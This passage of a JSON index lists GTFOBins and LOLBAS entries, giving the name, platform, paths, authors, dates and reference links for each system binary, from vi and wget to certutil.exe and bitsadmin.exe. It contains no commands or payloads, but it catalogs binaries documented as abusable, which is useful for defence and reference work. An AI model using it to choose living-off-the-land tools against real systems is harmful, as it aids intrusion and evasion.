aliases":[],"references":["https://gtfobins.github.io/gtfobins/varnishncsa/"],"count":2},{"id":"gtfo:vi","name":"vi","source":"GTFOBins","platform":["Linux","macOS"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/vi/"],"count":18},{"id":"gtfo:vigr","name":"vigr","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/vigr/"],"count":2},{"id":"gtfo:vim","name":"vim","source":"GTFOBins","platform":["Linux","macOS"],"aliases":["nvim","rvim","view","vimdiff"],"references":["https://gtfobins.github.io/gtfobins/vim/"],"count":12},{"id":"gtfo:vipw","name":"vipw","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/vipw/"],"count":2},{"id":"gtfo:virsh","name":"virsh","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/virsh/"],"count":5},{"id":"gtfo:volatility","name":"volatility","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/volatility/"],"count":3},{"id":"gtfo:w3m","name":"w3m","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/w3m/"],"count":3},{"id":"gtfo:wall","name":"wall","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/wall/"],"count":1},{"id":"gtfo:watch","name":"watch","source":"GTFOBins","platform":["Linux","macOS"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/watch/"],"count":6},{"id":"gtfo:wc","name":"wc","source":"GTFOBins","platform":["Linux","macOS"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/wc/"],"count":3},{"id":"gtfo:wg-quick","name":"wg-quick","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/wg-quick/"],"count":1},{"id":"gtfo:wget","name":"wget","source":"GTFOBins","platform":["Linux","macOS"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/wget/"],"count":18},{"id":"gtfo:whiptail","name":"whiptail","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/whiptail/"],"count":3},{"id":"gtfo:whois","name":"whois","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/whois/"],"count":6},{"id":"gtfo:wireshark","name":"wireshark","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/wireshark/"],"count":4},{"id":"gtfo:wish","name":"wish","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/wish/"],"count":3},{"id":"gtfo:xargs","name":"xargs","source":"GTFOBins","platform":["Linux","macOS"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/xargs/"],"count":12},{"id":"gtfo:xdg-user-dir","name":"xdg-user-dir","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/xdg-user-dir/"],"count":2},{"id":"gtfo:xdotool","name":"xdotool","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/xdotool/"],"count":3},{"id":"gtfo:xmodmap","name":"xmodmap","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/xmodmap/"],"count":3},{"id":"gtfo:xmore","name":"xmore","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/xmore/"],"count":3},{"id":"gtfo:xpad","name":"xpad","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/xpad/"],"count":3},{"id":"gtfo:xxd","name":"xxd","source":"GTFOBins","platform":["Linux","macOS"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/xxd/"],"count":6},{"id":"gtfo:xz","name":"xz","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/xz/"],"count":3},{"id":"gtfo:yarn","name":"yarn","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/yarn/"],"count":6},{"id":"gtfo:yash","name":"yash","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/yash/"],"count":3},{"id":"gtfo:yelp","name":"yelp","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/yelp/"],"count":2},{"id":"gtfo:yt-dlp","name":"yt-dlp","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/yt-dlp/"],"count":2},{"id":"gtfo:yum","name":"yum","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/yum/"],"count":3},{"id":"gtfo:zathura","name":"zathura","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/zathura/"],"count":2},{"id":"gtfo:zcat","name":"zcat","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/zcat/"],"count":2},{"id":"gtfo:zgrep","name":"zgrep","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/zgrep/"],"count":2},{"id":"gtfo:zic","name":"zic","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/zic/"],"count":3},{"id":"gtfo:zip","name":"zip","source":"GTFOBins","platform":["Linux","macOS"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/zip/"],"count":6},{"id":"gtfo:zless","name":"zless","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/zless/"],"count":3},{"id":"gtfo:zsh","name":"zsh","source":"GTFOBins","platform":["Linux","macOS"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/zsh/"],"count":24},{"id":"gtfo:zsoelim","name":"zsoelim","source":"GTFOBins","platform":["Linux"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/zsoelim/"],"count":3},{"id":"gtfo:zypper","name":"zypper","source":"GTFOBins","platform":["Linux","macOS"],"aliases":[],"references":["https://gtfobins.github.io/gtfobins/zypper/"],"count":4},{"id":"lolbas:addinutil-exe","name":"AddinUtil.exe","source":"LOLBAS","platform":["Windows"],"toolType":"Binary","aliases":[],"fullPath":["C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\AddinUtil.exe","C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\AddinUtil.exe","C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\AddInUtil.exe","C:\\Windows\\Microsoft.NET\\Framework64\\v3.5\\AddInUtil.exe"],"author":"Michael McKinley @MckinleyMike","created":"2023-10-05T00:00:00.000Z","contributors":["Michael McKinley @MckinleyMike","Tony Latteri @TheLatteri"],"references":["https://lolbas-project.github.io/lolbas/Binaries/AddinUtil/"],"count":1},{"id":"lolbas:appinstaller-exe","name":"AppInstaller.exe","source":"LOLBAS","platform":["Windows"],"toolType":"Binary","aliases":[],"fullPath":["C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.11.2521.0_x64__8wekyb3d8bbwe\\AppInstaller.exe"],"author":"Wade Hickey","created":"2020-12-02T00:00:00.000Z","contributors":["Wade Hickey @notwhickey"],"references":["https://lolbas-project.github.io/lolbas/Binaries/AppInstaller/"],"count":1},{"id":"lolbas:applaunch-exe","name":"Applaunch.exe","source":"LOLBAS","platform":["Windows"],"toolType":"Binary","aliases":[],"fullPath":["C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\Applaunch.exe","C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\Applaunch.exe","C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Applaunch.exe","C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Applaunch.exe"],"author":"Nathan Sawyer","created":"2026-08-08T00:00:00.000Z","contributors":["Nathan Sawyer"],"references":["https://lolbas-project.github.io/lolbas/Binaries/Applaunch/"],"count":1},{"id":"lolbas:aspnet-compiler-exe","name":"Aspnet_Compiler.exe","source":"LOLBAS","platform":["Windows"],"toolType":"Binary","aliases":[],"fullPath":["c:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\aspnet_compiler.exe","c:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\aspnet_compiler.exe"],"author":"Jimmy (@bohops)","created":"2021-09-26T00:00:00.000Z","contributors":["cpl @cpl3h"],"references":["https://lolbas-project.github.io/lolbas/Binaries/Aspnet_Compiler/"],"count":1},{"id":"lolbas:at-exe","name":"At.exe","source":"LOLBAS","platform":["Windows"],"toolType":"Binary","aliases":[],"fullPath":["C:\\WINDOWS\\System32\\At.exe","C:\\WINDOWS\\SysWOW64\\At.exe"],"author":"Freddie Barr-Smith","created":"2019-09-20T00:00:00.000Z","contributors":["Freddie Barr-Smith","Riccardo Spolaor","Mariano Graziano","Xabier Ugarte-Pedrero"],"references":["https://lolbas-project.github.io/lolbas/Binaries/At/"],"count":1},{"id":"lolbas:atbroker-exe","name":"Atbroker.exe","source":"LOLBAS","platform":["Windows"],"toolType":"Binary","aliases":[],"fullPath":["C:\\Windows\\System32\\Atbroker.exe","C:\\Windows\\SysWOW64\\Atbroker.exe"],"author":"Oddvar Moe","created":"2018-05-25T00:00:00.000Z","contributors":["Adam @hexacorn"],"references":["https://lolbas-project.github.io/lolbas/Binaries/Atbroker/"],"count":1},{"id":"lolbas:bash-exe","name":"Bash.exe","source":"LOLBAS","platform":["Windows"],"toolType":"Binary","aliases":[],"fullPath":["C:\\Windows\\System32\\bash.exe","C:\\Windows\\SysWOW64\\bash.exe"],"author":"Oddvar Moe","created":"2018-05-25T00:00:00.000Z","contributors":["Alex Ionescu @aionescu","Asif Matadar @d1r4c","Liran Ravich, CardinalOps"],"references":["https://lolbas-project.github.io/lolbas/Binaries/Bash/"],"count":5},{"id":"lolbas:bitsadmin-exe","name":"Bitsadmin.exe","source":"LOLBAS","platform":["Windows"],"toolType":"Binary","aliases":[],"fullPath":["C:\\Windows\\System32\\bitsadmin.exe","C:\\Windows\\SysWOW64\\bitsadmin.exe"],"author":"Oddvar Moe","created":"2018-05-25T00:00:00.000Z","contributors":["Rob Fuller @mubix","Chris Gates @carnal0wnage","Oddvar Moe @oddvarmoe"],"references":["https://lolbas-project.github.io/lolbas/Binaries/Bitsadmin/"],"count":4},{"id":"lolbas:certoc-exe","name":"CertOC.exe","source":"LOLBAS","platform":["Windows"],"toolType":"Binary","aliases":[],"fullPath":["c:\\windows\\system32\\certoc.exe","c:\\windows\\syswow64\\certoc.exe"],"author":"Ensar Samil","created":"2021-10-07T00:00:00.000Z","contributors":["Ensar Samil @sblmsrsn"],"references":["https://lolbas-project.github.io/lolbas/Binaries/CertOC/"],"count":2},{"id":"lolbas:certreq-exe","name":"CertReq.exe","source":"LOLBAS","platform":["Windows"],"toolType":"Binary","aliases":[],"fullPath":["C:\\Windows\\System32\\certreq.exe","C:\\Windows\\SysWOW64\\certreq.exe"],"author":"David Middlehurst","created":"2020-07-07T00:00:00.000Z","contributors":["David Middlehurst @dtmsecurity"],"references":["https://lolbas-project.github.io/lolbas/Binaries/CertReq/"],"count":2},{"id":"lolbas:certutil-exe","name":"Certutil.exe","source":"LOLBAS","platform":["Windows"],"toolType":"Binary","aliases":[],"fullPath":["C:\\Windows\\System32\\certutil.exe","C:\\Windows\\SysWOW64\\certutil.exe"],"author":"Oddvar Moe","created":"2018-05-25T00:00:00.000Z","contributors":["Matt Graeber @mattifestation","Moriarty @Moriarty_Meng","egre55 @egre55","Lior Adar","Adam @hexacorn","SomeTestLeper @SomeTestLeper"],"references":["https://lolbas-project.github.io/lolbas/Binaries/Certutil/"],"count":7},{"id":"lolbas:change-exe","name":"Change.exe","source":"LOLBAS","platform":["Windows"],"toolType":"Binary","aliases":[],"fullPath":["c:\\windows\\system32\\change.exe","c:\\windows\\syswow64\\change.exe"],"author":"Idan Lerman","created":"2025-07-31T00:00:00.000Z","contributors":["Idan Lerman @IdanLerman"],"references":["https://lolbas-project.github.io/lolbas/Binaries/Change/"],"count":1},{"id":"lolbas:cipher-exe","name":"Cipher.exe","source":"LOLBAS","platform":["Windows"],"toolType":"Binary","aliases":[],"fullPath":["c:\\windows\\system32\\cipher.exe","c:\\windows\\syswow64\\cipher.exe"],"author":"Adetutu Ogunsowo","created":"2024-11-22T00:00:00.000Z","contributors":["Ade Ogunsowo @i_am_tutu","Alexander Sennhauser @conitrade"],"references":["https://lolbas-project.github.io/lolbas/Binaries/Cipher/"],"count":2},{"id":"lolbas:cmd-exe","name":"Cmd.exe","source":"LOLBAS","platform":["Windows"],"toolType":"Binary","aliases":[],"fullPath":["C:\\Windows\\System32\\cmd.exe","C:\\Windows\\SysWOW64\\cmd.exe"],"author":"Ye Yint Min Thu Htut","created":"2019-06-26T00:00:00.000Z","contributors":["r0lan @yeyint_mth","Mr.0range @mr_0rng"],"references":["https://lolbas-project.github.io/lolbas/Binaries/Cmd/"],"count":4},{"id":"lolbas:cmdkey-exe","name":"Cmdkey.exe","source":"LOLBAS","platform":["Windows"],"toolType":"Binary","aliases":[],"fullPath":["C:\\Windows\\System32\\cmdkey.exe","C:\\Windows\\SysWOW64\\cmdkey.exe"],"author":"Oddvar Moe","created":"2018-05-25T00:00:00.000Z","contributors":[],"references":["https://lolbas-project.github.io/lolbas/Binaries/Cmdkey/"],"count":1},{"id":"lolbas:cmdl32-exe","name":"cmdl32.exe","source":"LOLBAS","platform":["Windows"],"toolType":"Binary","aliases":[],"fullPath":["C:\\Windows\\System32\\cmdl32.exe","C:\\Windows\\SysWOW64\\cmdl32.exe"],"author":"Elliot Killick","created":"2021-08-26T00:00:00.000Z","contributors":["Elliot Killick @elliotkillick"],"references":["https://lolbas-project.github.io/lolbas/Binaries/cmdl32/"],"count":1},{"id":"lolbas:cmstp-exe","name":"Cmstp.exe","source":"LOLBAS","platform":["Windows"],"toolType":"Binary","aliases":[],"fullPath":["C:\\Windows\\System32\\cmstp.exe","C:\\Windows\\SysWOW64\\cmstp.exe"],"author":"Oddvar Moe","created":"2018-05-25T00:00:00.000Z","contributors":["Oddvar Moe @oddvarmoe","Nick Tyrer @NickTyrer","Naor Evgi @ghosts621"],"references":["https://lolbas-project.github.io/lolbas/Binaries/Cmstp/"],"count":3},{"id":"lolbas:colorcpl-exe","name":"Colorcpl.exe","source":"LOLBAS","platform":["Windows"],"toolType":"Binary","aliases":[],"fullPath":["C:\\Windows\\System32\\colorcpl.exe","C:\\Windows\\SysWOW64\\colorcpl.exe"],"author":"Arjan Onwezen","created":"2023-06-26T00:00:00.000Z","contributors":["eral4m @eral4m"],"references":["https://lolbas-project.github.io/lolbas/Binaries/Colorcpl/"],"count":1},{"id":"lolbas:computerdefaults-exe","name":"ComputerDefaults.exe","source":"LOLBAS","platform":["Windows"],"toolType":"Binary","aliases":[],"fullPath":["C:\\Windows\\System32\\ComputerDefaults.exe","C:\\Windows\\SysWOW64\\ComputerDefaults.exe"],"author":"Eron Clarke","created":"2024-09-24T00:00:00.000Z","contributors":["Eron Clarke"],"references":["https://lolbas-project.github.io/lolbas/Binaries/ComputerDefaults/"],"count":1},{"id":"lolbas:configsecuritypolicy-exe","name":"ConfigSecurityPolicy.exe","source":"LOLBAS","platform":["Windows"],"toolType":"Binary","aliases":[],"fullPath":["C:\\Program Files\\Windows Defender\\ConfigSecurityPolicy.exe","C:\\ProgramData\\Microsoft\\Windows Defender\\Platform\\4.18.2008.9-0\\ConfigSecurityPolicy.exe"],"author":"Ialle Teixeira","created":"2020-09-04T00:00:00.000Z","contributors":["Ialle Teixeira @NtSetDefault","Nir Chako (Pentera) @C_h4ck_0"],"references":["https://lolbas-project.github.io/lolbas/Binaries/ConfigSecurityPolicy/"],"count":2},{"id":"lolbas:conhost-exe","name":"Conhost.exe","source":"LOLBAS","platform":["Windows"],"toolType":"Binary","aliases":[],"fullPath":["c:\\windows\\system32\\conhost.exe"],"author":"Wietze Beukema","created":"2022-04-05T00:00:00.000Z","contributors":["Adam @hexacorn","Wietze @wietze"],"references":["https://lolbas-project.github.io/lolbas/Binaries/Conhost/"],"count":2},{"id":"lolbas:control-exe","name":"Control.exe","source":"LOLBAS","platform":["Windows"],"toolType":"Binary","aliases":[],"fullPath":["C:\\Windows\\System32\\control.exe","C:\\Windows\\SysWOW64\\control.exe"],"author":"Oddvar Moe","created":"2018-05-25T00:00:00.000Z","contributors":["Jimmy @bohops"],"references":["https://lolbas-project.github.io/lolbas/Binaries/Control/"],"count":2},{"id":"lolbas:csc-exe","name":"Csc.exe","source":"LOLBAS","platform":["Windows"],"toolType":"Binary","aliases":[],"fullPath":["C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Csc.exe","C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Csc.exe","C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\csc.exe","C:\\Windows\\Microsoft.NET\\Framework64\\v3.5\\csc.exe","C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\csc.exe","C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\csc.exe"],"author":"Oddvar Moe","created":"2018-05-25T00:00:00.000Z","contributors":[],"references":["https://lolbas-project.github.io/lolbas/Binaries/Csc/"],"count":2},{"id":"lolbas:cscript-exe","name":"Cscript.exe","source":"LOLBAS","platform":["Windows"],"toolType":"Binary","aliases":[],"fullPath":["C:\\Windows\\System32\\cscript.exe","C:\\Windows\\SysWOW64\\cscript.exe"],"author":"Oddvar Moe","created":"2018-05-25T00:00:00.000Z","contributors":["Oddvar Moe @oddvarmoe"],"references":["https://lolbas-project.github.io/lolbas/Binaries/Cscript/"],"count":1},{"id":"lolbas:customshellhost-exe","name":"CustomShellHost.exe","source":"LOLBAS","platform":["Windows"],"toolType":"Binary","aliases":[],"fullPath":["C:\\Windows\\System32\\CustomShellHost.exe"],"author":"Wietze Beukema","created":"2021-11-14T00:00:00.000Z","contributors":["John Carroll @YoSignals"],"references":["https://lolbas-project.github.io/lolbas/Binaries/CustomShellHost/"],"count":1},{"id":"lolbas:datasvcutil-exe","name":"DataSvcUtil.exe","source":"LOLBAS","platform":["Windows"],"toolType":"Binary","aliases":[],"fullPath":["C:\\Windows\\Microsoft.NET\\Framework64\\v3.5\\DataSvcUtil.exe"],"author":"Ialle Teixeira","created":"2020-12-01T00:00:00.000Z","contributors":["Ialle Teixeira @NtSetDefault"],"references":["https://lolbas-project.github.io/lolbas/Binaries/DataSvcUtil/"],"count":1},{"id":"lolbas:desktopimgdownldr-exe","name":"Desktopimgdownldr.exe","source":"LOLBAS","platform":["Windows"],"toolType":"Binary","aliases":[],"fullPath":["c:\\windows\\system32\\desktopimgdownldr.exe"],"author":"Gal Kristal","created":"2020-06-28T00:00:00.000Z","contributors":["Gal Kristal @gal_kristal"],"references":["https://lolbas-project.github.io/lolbas/Binaries/Desktopimgdownldr/"],"count":1},{"id":"lolbas:devicecredentialdeployment-exe","name":"DeviceCredentialDeployment.exe","source":"LOLBAS","platform":["Windows"],"toolType":"Binary","aliases":[],"fullPath":["C:\\Windows\\System32\\DeviceCredentialDeployment.exe"],"author":"Elliot Killick","created":"2021-08-16T00:00:00.000Z","contributors":["Elliot Killick @elliotkillick"],"references":["https://lolbas-project.github.io/lolbas/Binaries/DeviceCredentialDeployment/"],"count":1},{"id":"lolbas:dfsvc-exe","name":"Dfsvc.exe","source":"LOLBAS","platform":["Windows"],"toolType":"Binary","aliases":[],"fullPath":["C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\Dfsvc.exe","C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\Dfsvc.exe","C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Dfsvc.exe","C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Dfsvc.exe"],"author":"Oddvar Moe","created":"2018-05-25T00:00:00.000Z","contributors":["Casey Smith @subtee"],"references":["https://lolbas-project.github.io/lolbas/Binaries/Dfsvc/"],"count":1},{"id":"lolbas:diantz-exe","name":"Diantz.exe","source":"LOLBAS","platform":["Windows"],"toolType":"Binary","aliases":[],"fullPath":["c:\\windows\\system32\\diantz.exe","c:\\windows\\syswow64\\diantz.exe"],"author":"Tamir Yehuda","created":"2020-08-08T00:00:00.000Z","contributors":["Tamir Yehuda @tim8288","Hai Vaknin @vakninhai"],"references":["https://lolbas-project.github.io/lolbas/Binaries/Diantz/"],"count":3},{"id":"lolbas:diskshadow-exe","name":"Diskshadow.exe","source":"LOLBAS","platform":["Windows"],"toolType":"Binary","aliases":[],"fullPath":["C:\\Windows\\System32\\diskshadow.exe","C:\\Windows\\SysWOW64\\diskshadow.exe"],"author":"Oddvar Moe","created":"2018-05-25T00:00:00.000Z","contributors":["Jimmy @bohops"],"references":["https://lolbas-project.github.io/lolbas/Binaries/Diskshadow/"],"count":2},{"id":"lolbas:dnscmd-exe","name":"Dnscmd.exe","source":"LOLBAS","platform":["Windows"],"toolType":"Binary","aliases":[],"fullPath":["C:\\Windows\\System32\\Dnscmd.exe","C:\\Windows\\SysWOW64\\Dnscmd.exe"],"author":"Oddvar Moe","created":"2018-05-25T00:00:00.000Z","contributors":["Shay Ber","Dimitrios Slamaris @dim0x69","Nikhil SamratAshok @nikhil_mitt"],"references":["https://lolbas-project.github.io/lolbas/Binaries/Dnscmd/"],"count":1},{"id":"lolbas:esentutl-exe","name":"Esentutl.exe","source":"LOLBAS","platform":["Windows"],"toolType":"Binary","aliases":[],"fullPath":["C:\\Windows\\System32\\esentutl.exe","C:\\Windows\\SysWOW64\\esentutl.exe"],"author":"Oddvar Moe","created":"2018-05-25T00:00:00.000Z","contributors":["egre55 @egre55","Mike Cary @grayfold3d"],"references":["https://lolbas-project.github.io/lolbas/Binaries/Esentutl/"],"count":6},{"id":"lolbas:eudcedit-exe","name":"Eudcedit.exe","source":"LOLBAS","platform":["Windows"],"toolType":"Binary","aliases":[],"fullPath":["c:\\windows\\system32\\eudcedit.exe","c:\\windows\\syswow64\\eudcedit.exe"],"author":"Matan Bahar","created":"2025-08-07T00:00:00.000Z","contributors":["Matan Bahar @Bl4ckShad3"],"references":["https://lolbas-project.github.io/lolbas/Binaries/Eudcedit/"],"count":1},{"id":"lolbas:eventvwr-exe","name":"Eventvwr.exe","source":"LOLBAS","platform":["Windows"],"toolType":"Binary","aliases":[],"fullPath":["C:\\Windows\\System32\\eventvwr.exe","C:\\Windows\\SysWOW64\\eventvwr.exe"],"author":"Jacob Gajek","created":"2018-11-01T00:00:00.000Z","contributors":["Matt Nelson @enigma0x3","Matt Graeber @mattifestation","Orange Tsai @orange_8361"],"references":["https://lolbas-project.github.io/lolbas/Binaries/Eventvwr/"],"count":2},{"id":"lolbas:expand-exe","name":"Expand.exe","source":"LOLBAS","platform":["Windows"],"toolType":"Binary","aliases":[],"fullPath":["C:\\Windows\\System32\\Expand.exe","C:\\Windows\\SysWOW64\\Expand.exe"],"author":"Oddvar Moe","created":"2018-05-25T00:00:00.000Z","contributors":["Rahmat Nurfauzi @infosecn1nja","Oddvar Moe @oddvarmoe"],"references":["https://lolbas-project.github.io/lolbas/Binaries/Expand/"],"count":3},{"id":"lolbas:explorer-exe","name":"Explorer.exe","source":"LOLBAS","platform":["Windows"],"toolType":"Binary","aliases":[],"fullPath":["C:\\Windows\\explorer.exe","C:\\Windows\\SysWOW64\\explorer.exe"],"author":"Jai Minton","created":"2020-06-24T00:00:00.000Z","contributors":["Jai Minton @CyberRaiju","Jimmy @bohops"],"references":["https://lolbas-project.github.io/lolbas/Binaries/Explorer/"],"count":2},{"id":"lolbas:extexport-exe","name":"Extexport.exe","source":"LOLBAS","platform":["Windows"],"toolType":"Binary","aliases":[],"fullPath":["C:\\Program Files\\Internet Explorer\\Extexport.exe","C:\\Program Files (x86)\\Internet Explorer\\Extexport.exe"],"author":"Oddvar Moe","created":"2018-05-25T00:00:00.000Z","contributors":["Adam @hexacorn"],"references":["https://lolbas-project.github.io/lolbas/Binaries/Extexport/"],"count":1},{"id":"lolbas:extrac32-exe","name":"Extrac32.exe","source":"LOLBAS","platform":["Windows"],"toolType":"Binary","aliases":[],"fullPath":["C:\\Windows\\System32\\extrac32.exe","C:\\Windows\\SysWOW64\\extrac32.exe"],"author":"Oddvar Moe","created":"2018-05-25T00:00:00.000Z","contributors":["egre55 @egre55","Oddvar Moe @oddvarmoe","Hai Vaknin(Lux @VakninHai","Tamir Yehuda @tim8288"],"references":["https://lolbas-project.github.io/lolbas/Binaries/Extrac32/"],"count":4},{"id":"lolbas:findstr-exe","name":"Findstr.exe","source":"LOLBAS","platform":["Windows"],"toolType":"Binary","aliases":[],"fullPath":["C:\\Windows\\System32\\findstr.exe","C:\\Windows\\SysWOW64\\findstr.exe"],"author":"Oddvar Moe","created":"2018-05-25T00:00:00.000Z","contributors":["Oddvar Moe @oddvarmoe"],"references":["https://lolbas-project.github.io/lolbas/Binaries/Findstr/"],"count":4},{"id":"lolbas:finger-exe","name":"Finger.exe","source":"LOLBAS","platform":["Windows"],"toolType":"Binary","aliases":[],"fullPath":["c:\\windows\\system32\\finger.exe","c:\\windows\\syswow64\\finger.exe"],"author":"Ruben Revuelta","created":"2021-08-30T00:00:00.000Z","contributors":["Ruben Revuelta (MAPFRE CERT) @rubn_RB","Jose A. Jimenez (MAPFRE CERT) @Ocelotty6669","Malwrologist @DissectMalware"],"references":["https://lolbas-project.github.io/lolbas/Binaries/Finger/"],"count":1},{"id":"lolbas:fltmc-exe","name":"fltMC.exe","source":"LOLBAS","platform":["Windows"],"toolType":"Binary","aliases":[],"fullPath":["C:\\Windows\\System32\\fltMC.exe"],"author":"John Lambert","created":"2021-09-18T00:00:00.000Z","contributors":["Carlos Perez @Carlos_Perez"],"references":["https://lolbas-project.github.io/lolbas/Binaries/fltMC/"],"count":1},{"id":"lolbas:forfiles-exe","name":"Forfiles.exe","source":"LOLBAS","platform":["Windows"],"toolType":"Binary","aliases":[],"fullPath":["C:\\Windows\\System32\\forfiles.exe","C:\\Windows\\SysWOW64\\forfiles.exe"],"author":"Oddvar Moe","created":"2018-05-25T00:00:00.000Z","contributors":["Eric @vector_sec","Oddvar Moe @oddvarmoe"],"references":["https://lolbas-project.github.io/lolbas/Binaries/Forfiles/"],"count":2},{"id":"lolbas:fsutil-exe","name":"Fsutil.exe","source":"LOLBAS","platform":["Windows"],"toolType":"Binary","aliases":[],"fullPath":["C:\\Windows\\System32\\fsutil.exe","C:\\Windows\\SysWOW64\\fsutil.exe"],"author":"Elliot Killick","created":"2021-08-16T00:00:00.000Z","contributors":["Elliot Killick @elliotkillick","Jimmy @bohops","Grzegorz Tworek @0gtweet"],"references":["https://lolbas-project.github.io/lolbas/Binaries/Fsutil/"],"count":3},{"id":"lolbas:ftp-exe","name":"Ftp.exe","source":"LOLBAS","platform":["Windows"],"toolType":"Binary","aliases":[],"fullPath":["C:\\Windows\\System32\\ftp.exe","C:\\Windows\\SysWOW64\\ftp.exe"],"author":"Oddvar Moe","created":"2018-12-10T00:00:00.000Z","contributors":["Casey Smith @subtee","BennyHusted","Amit Serper @0xAmit"],"references":["https://lolbas-project.github.io/lolbas/Binaries/Ftp/"],"count":2},{"id":"lolbas:gpscript-exe","name":"Gpscript.exe","source":"LOLBAS","platform":["Windows"],"toolType":"Binary","aliases":[],"fullPath":["C:\\Windows\\System32\\gpscript.exe","C:\\Windows\\SysWOW64\\gpscript.exe"],"author":"Oddvar Moe","created":"2018-05-25T00:00:00.000Z","contributors":["Oddvar Moe @oddvarmoe"],"references":["https://lolbas-project.github.io/lolbas/Binaries/Gpscript/"],"count":2},{"id":"lolbas:hh-exe","name":"Hh.exe","source":"LOLBAS","platform":["Windows"],"toolType":"Binary","aliases":[],"fullPath":["C:\\Windows\\hh.exe","C:\\Windows\\SysWOW64\\hh.exe"],"author":"Oddvar Moe","created":"2018-05-25T00:00:00.000Z","contributors":["Oddvar Moe @oddvarmoe"],"references":["https://lolbas-project.github.io/lolbas/Binaries/Hh/"],"count":3},{"id":"lolbas:imewdbld-exe","name":"IMEWDBLD.exe","source":"LOLBAS","platform":["Windows"],"toolType":"Binary","aliases":[],"fullPath":["C:\\Windows\\System32\\IME\\SHARED\\IMEWDBLD.exe"],"author":"Wade Hickey","created":"2020-03-05T00:00:00.000Z","contributors":["Wade Hickey @notwhickey"],"references":["https://lolbas-project.github.io/lolbas/Binaries/IMEWDBLD/"],"count":1},{"id":"lolbas:ie4uinit-exe","name":"Ie4uinit.exe","source":"LOLBAS","platform":["Windows"],"toolType":"Binary","aliases":[],"fullPath":["c:\\windows\\system32\\ie4uinit.exe","c:\\windows\\sysWOW64\\ie4uinit.exe","c:\\windows\\system32\\ieuinit.inf","c:\\windows\\sysWOW64\\ieuinit.inf"],"author":"Oddvar Moe","created":"2018-05-25T00:00:00.000Z","contributors":["Jimmy @bohops"],"references":["https://lolbas-project.github.io/lolbas/Binaries/Ie4uinit/"],"count":1},{"id":"lolbas:iediagcmd-exe","name":"iediagcmd.exe","source":"LOLBAS","platform":["Windows"],"toolType":"Binary","aliases":[],"fullPath":["C:\\Program Files\\Internet Explorer\\iediagcmd.exe"],"author":"manasmbellani","created":"2022-03-29T00:00:00.000Z","contributors":["Adam 